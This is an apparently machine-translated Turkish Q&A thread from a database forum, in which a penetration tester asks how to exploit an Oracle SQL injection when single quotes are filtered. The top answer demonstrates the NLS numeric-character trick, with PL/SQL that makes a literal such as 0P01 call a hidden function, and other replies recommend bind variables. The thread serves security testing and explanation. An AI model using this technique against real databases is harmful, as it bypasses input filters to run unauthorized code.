Oracle tek bir alıntı kullanmadan dizeden çıkmak ve SQL enjekte etmek için herhangi bir yolu var mı?


12

Oracle tabanlı bir uygulamayı test ediyorum ve aşağıdaki kodu buldum:

Sorgu = "ID = '" + PKID + "';"

yani sorgu dizesi, doğrudan URL'den elde edilen PKID değeri etrafında tırnaklar içerir.

Açıkçası, bu gerçekleşmesini bekleyen klasik bir SQL enjeksiyonudur ... uygulama CA SiteMinder'in arkasındadır ve tek bir alıntı içeren (herhangi bir biçimde) herhangi bir URL'nin uygulamaya geçirilmesini engeller.

Dizeden çıkmanın ve tek bir alıntı kullanmadan SQL enjekte etmenin herhangi bir yolu var mı?

Düzenleme: Üzgünüm, daha net olmalıydım - nasıl yazılması gerektiğini anlıyorum , ama insanları bunun sömürücü bir sorun olduğuna ikna etmem gerekiyor. Şu anda tek tırnakları engelleyen siteminder'ın arkasında olduğundan düşük öncelikli bir düzeltme olacaktır.


1
bağlama değişkeni kullanmayı denediniz mi?
JHFB

@JHFB ne dedi. Değişkenleri bağlamak standart uygulamadır.
Philᵀᴹ

Yanıtlar:


9

Evet, parametrede tırnak işaretleri olmadan bir SQL enjeksiyon saldırısı gerçekleştirmek mümkündür.

Bunu yapmanın yolu, sayıların ve / veya tarihlerin nasıl işlendiğiyle ilgili bir istismar kullanmaktır. Oturum düzeyinde bir tarih veya sayı biçiminin ne olduğunu belirleyebilirsiniz. Bunu manipüle ederek herhangi bir karakterle enjekte edebilirsiniz.

İngiltere ve ABD'de varsayılan olarak, sayı olarak binlik ayırıcıyı ve ondalık nokta için tam bir durağı belirtmek için virgül kullanılır. Bu varsayılanları aşağıdaki komutları uygulayarak değiştirebilirsiniz:

alter session set nls_numeric_characters = 'PZ';

Bu, "P" nin ondalık nokta ve "Z" nin binlik ayırıcı olduğu anlamına gelir. Yani:

0P01

0.01 sayısıdır. Ancak, bir P01 fonksiyonu oluşturursanız, nesne referansı sayı dönüştürmeden önce alınır. Bu, veritabanında aşağıdaki gibi artan güçler sağlayan işlevleri yürütmenizi sağlar:

Temel bir "id by id" işlevi oluşturun:

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Ayrıca istenmeyen bir şey yapan bir P01 işlevi oluşturun (bu durumda sadece bir tablo oluşturmak, ancak fikri anlayabilirsiniz):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

Ve gitmeye hazırız:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

Hiçbir yerde teklif yok, ama biz hala "gizli" fonksiyonu P01 yürütmek ve tablo oluşturmak başardık t!

Bunun pratikte yapılması zor olsa da (ve bazı dahili bilgi / yardım gerektirebilir), bu, tırnak işareti olmadan SQL enjekte edebileceğinizi gösterir. Kutuyu değiştirmek nls_date_formatbenzer şeylerin yapılmasına izin verebilir.

Sayılarla ilgili orijinal bulgular David Litchfield'a aitti ve makalesini buradan okuyabilirsiniz . Tom Kyte'nin tarihlerin nasıl kullanılabileceğiyle ilgili tartışmasını burada bulabilirsiniz .


4

Muhtemelen kullandığınız veri türünü aşırı yükleyerek söz konusu ifadenin başarısız olmasına neden olabilirsiniz. Sonra gelecek olan potansiyel olarak çalıştırılabilir.

Belki bunu bir Unicode bayt dizisi olarak göndermek hile yapar ve sizi bu ifadeden başka bir tanesine götürür.

Açık bir delik varsa, istismar edilir. Ve tüm dizeleri tek bir alıntı ile engellemek iyi bir fikir değildir çünkü soyadı "O'Brian" olan insanlar müşterileriniz olamaz (diğerleri arasında).


Sanýrým "delik" demek istiyorsun, "bütün" deđil.
ypercubeᵀᴹ

1

Bir bağlama değişkeni kullanmayı deneyin. Bir sayı olarak bildirebilirsiniz ve bu zarar veren bir SQL enjeksiyonunu önlemelidir.

Ek: bağlama değişkenleri, sorgu planı yeniden kullanılmak üzere derlendiğinden ve saklandığından performansı ve ölçeklenebilirliği de artırır. Argümanınıza eklemek için başka bir şey. :)


1
Enjeksiyonu önlemenin yollarını değil , onu kötüye kullanmanın yollarını soruyor .
Jeff

1
@jeff OP ayrıca bu tür kodların kullanılmamasını da ister. Bağlama değişkenlerini kullanmamak performansı yok eder, bu nedenle bunları her zaman kullanmak için iyi bir nedendir .
Vincent Malgrat

@Vincent Malgrat: "bind değişkenlerini kullanmamak performansı yok eder" yanlıştır. Bind değişkenleri kullanılarak bir ifadenin yeniden derlenmesinden kaçınılabileceği doğrudur. Ayrıca, bağlayıcı değişkenleri kullanmazsanız, paylaşılan havuz çok benzer ifadelerle taşınır. Bununla birlikte, değişmez değerler yerine bağlama değişkenleri kullanılıyorsa, optimize edici bir plan oluşturmak için daha az bilgiye sahiptir. Bağlama değişkenlerinin (veya değişmez değerlerin) değerlerine bağlı olarak farklı planların seçilmesi gereken durumlar vardır.
miracle173

@ miracle173 Elbette istisnalar olacak, ancak OP tarafından verilen birincil anahtar araması için değil, asla =)
Vincent Malgrat
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.